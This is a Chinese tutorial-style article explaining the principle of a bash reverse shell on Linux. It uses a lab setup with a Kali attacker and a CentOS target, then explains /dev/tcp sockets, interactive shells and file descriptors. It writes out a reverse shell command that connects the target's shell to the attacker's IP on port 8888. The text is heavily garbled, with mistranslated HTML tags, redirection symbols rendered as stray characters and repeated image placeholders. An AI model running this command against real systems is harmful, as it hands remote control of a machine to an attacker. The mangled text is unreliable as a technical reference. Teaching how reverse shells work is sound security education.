Linux中bash反弹外壳的原理是什么

  介绍

这期内容当中小编将会给大家带来有关Linux中bash反弹外壳的原理是什么,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。

<强>攻击机:kali ,,,,,ip: 192.168.25.144

<强>靶,,机:centos ,,ip: 192.168.25.142

卡莉监听本8888年地端口

癓inux中bash反弹外壳的原理是什么"

靶机centos写入反弹外壳的命令

 bash -我在,/dev/tcp/192.168.25.144/8888 0祝辞,1 

癓inux中bash反弹外壳的原理是什么"

攻击机卡莉成功反弹外壳

癓inux中bash反弹外壳的原理是什么"

<强>反弹外壳强往往是在<强>攻击者无法直接连接<强>受害者强的情况下进行的操作,原因有很多,例如目标是局域网,或者开启防火墙的某些策略等情况,而这时,我们就可以让<强>受害者主动向攻击者发起连接,被控端强发起请求到<>强控制端某端口,并将其命令行的输入输出转到<>强控制端,从而 <强>实现交互

我们将命令拆开

 bash - i 
/dev/tcp/192.168.25.144/8888 
祝辞,0祝辞,1

<强>

Linux中一般默认的壳是<强> bash ,它功能几乎可以涵盖壳所具有的功能,所以一般的shell脚本都会指定它为执行路径

常用的壳有,,<强>灰,bash,破折号,ksh、csh、zsh  等,不同的壳都有自己的特点以及用途

<强>查询当前壳命令,, <强> ls - l/bin/sh

癓inux中bash反弹外壳的原理是什么"

癓inux中bash反弹外壳的原理是什么"

<强> bash小姐,,强打开一个交互式的bash ,,,,,shell如果有,<强> - 参数,就是交互式的

交互的意思就是可以和用户进行交互,输入命令,回显给用户就是一个交互的过程,而执行一个shell脚本就是非交互的

使用命令,<强> echo $ - ,可以查看是否是交互式壳

癓inux中bash反弹外壳的原理是什么”,,,,,

有参数,<强>,强是交互式的

执行一个shell脚本

癓inux中bash反弹外壳的原理是什么”,

无参数<强>,强非交互式

dev是设备(设备)的英文缩写。这里主要存放与设备(包括外设)有关的文件,<强> Linux一切皆文件

<强>,/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个套接字调用,建立一个套接字连接,读写这个文件就相当于在这连个插座接中传输数据。同理,Linux中还存在/dev/udp/

/dev/tcp/192.168.25.144/8888

所以上述命令就是和192.168.25.144:8888建立tcp连接

<强>

Linux系统中,把一切都看做是文件,当进程打开现有文件或创建新文件时,内核向进程返回一个文件描述符,文件描述符就是内核为了高效管理已被打开的文件所创建的索引,用来指向被打开的文件。

所有执行i/O操作的系统调用都会通过文件描述符,即文件描述符可控制输入输出(输入/输出重定向)

标准输入(stdin):,,,,,,代码为,0,,,使用& lt;& lt;或& lt;,,,,默认设备键盘

标准输出(stdout):,,,,,代码为,1,,,使用比;或在祝辞,,,,,默认设备显示器

标准错误输出(stderr):,代码为,,2,使用2比;,或2比的在,,,默认设备显示器

 - - - + - - - - - - - - - - +
  (0)- - - - -在| dev/tty0 |当开启一个终端时默认的文件描述符指向/dev/tty0(虚拟终端)
  - - - + - - - - - - - - - - +
  
  - - - + - - - - - - - - - - +
  (1)——祝辞| dev/tty0 |
  - - - + - - - - - - - - - - +
  
  - - - + - - - - - - - - - - +
  (2)——祝辞| dev/tty0 |
  - - - - - - + - - - - - - - - - - + 

大多数Linux系统命令从你的终端接受输入并将所产生的输出发送回,# 8203;及# 8203;到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端

Linux中bash反弹外壳的原理是什么